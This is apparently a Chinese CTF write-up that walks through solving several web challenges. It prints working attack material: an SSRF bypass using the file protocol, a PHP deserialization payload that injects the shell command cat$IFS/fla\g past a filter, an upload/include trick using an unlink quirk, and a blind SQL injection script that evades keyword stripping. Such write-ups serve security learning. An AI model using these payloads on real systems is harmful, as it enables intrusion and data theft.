web题质量就不谈了,misc出题人要被人打死。
wp是交给主办方的wp,写的比较辣鸡,大佬们将就看看吧
签到题
MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q
Base32解码就行了
web1
源码提示robots.txt
发现source.php
,flag.php
访问source.php
Post admin=1显示127.0.0.1才能看到flag
x-forwarded-for,client-ip什么的都不行,最后发现x-client-ip可以
让我们post一个url=http://www.ichunqiu.com
,然后给了一个img标签,img的src一直在变。应该是SSRF,不过要求前面必须是http://www.ichunqiu.com
,最后学长发现file协议可以绕过
最后curl这个图片的地址即可,在linux下curl,分号会截断,需要转义或者在URL两边加上双引号。
web2
Can you hack me?
扫描目录发现.index.php.swp。
扔linux里复原进行代码审计。
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
$first='hi';
$var='var';
$bbb='bbb';
$ccc='ccc';
$i=1;
foreach($_GET as $key => $value) {
if($i===1)
{
$i++;
$$key = $value;
}
else{break;}
}
if($first==="doller")
{
@parse_str($_GET['a']);
if($var==="give")
{
if($bbb==="me")
{
if($ccc==="flag")
{
echo "<br>welcome!<br>";
$come=@$_POST['come'];
unserialize($come);
}
}
else
{echo "<br>think about it<br>";}
}
else
{
echo "NO";
}
}
else
{
echo "Can you hack me?<br>";
}
?>
反序列化之前的绕过很简单就不用多说了,直接贴payload
first=doller&a=var=give%26bbb=me%26ccc=flag
然后就是反序列化构造
Waf掉了<>*;|?\n空格
,还有flag。flag可以用fla\g绕过,空格可以用$IFS
构造反序列化利用代码
<?php
error_reporting(0);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = "echo";
$this->args = array("host"=>"'test'&&cat\$IFS/fla\g");
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo1($host){
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo1"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
}
$A=new come();
echo urlencode(serialize($A));
这里函数名为echo
比较坑,函数名为内置函数有的版本php会报错。所以我改成了echo1
Post一下就可以得到flag
web3
<?php
//error_reporting(0);
//$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
$dir=md5("icq");
$sandbox = '/var/sandbox/' . $dir;
@mkdir($sandbox);
@chdir($sandbox);
if($_FILES['file']['name']){
$filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
if (!is_array($filename)) {
$filename = explode('.', $filename);
}
$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}
$new_name = (string)rand(100,999).".".$ext;
move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
$_ = $_POST['hehe'];
if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
include($_);
}
unlink($new_name);
}
else{
highlight_file(__FILE__);
}
代码审计,
end函数取所post参数数组中的最后一个值
$ext==$filename[count($filename) - 1])
我们可以post参数名为一个[0]一个[2],然后$filename[count($filename) - 1])
就会等于空即可绕过。
最终的文件名由100到999随机数为文件名,$ext
为后缀。且会从post参数hehe
中读取文件内容,要求文件内容开头为@<?php
,并且hehe
不能等于上面的随机文件名。最后会删除这个随机文件名的文件。
这里利用unlink
一个trik,不会删除/.
结尾的文件。所以我们可以让数组中最后一个元素的值为php/.
,这样文件名的后缀就会为xxx.php/.
,就不会被删除,而实际储存的是xxx.php
。
接着我们就可以从100到999爆破文件名然后获得flag。
构造html文件
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<form action="http://b39c1fb085a94bc09bed19cfc5e7966dfb6b6c500c2a4277.game.ichunqiu.com/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="file" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
然后上传抓包,构造
随机生成100-999,爆破文件名
web4
这道题就不谈了,真●CTF
大概的注入脚本,fuzz一下,发现select,from
被替换成空了。
# -*- coding:utf8 -*-
import requests
import string
str1=string.ascii_letters+string.digits+string.punctuation
password=""
url="http://2f18ac694e5f4fbaaeb1749e3689aa56e96f607d961b4cd0.game.ichunqiu.com/select_guest.php?id="
for j in range(1,99999):
for i in str1:
url = "http://2f18ac694e5f4fbaaeb1749e3689aa56e96f607d961b4cd0.game.ichunqiu.com/select_guest.php?id="
paylaod="1' and (if(substr((seleselectct group_concat(column_name) frfromom inforfrommation_schema.columns where table_name='user'),%d,1)='%s',1,0)) and 1='1"%(j,i)
#print(paylaod)
url=url+paylaod
r=requests.get(url=url)
#print(url)
#print(r.text)
if '10' in r.text:
password+=i
print(password)
break
然后就是上传绕过,这里的%02
是个什么鬼我就不知道了。只能说真●CTF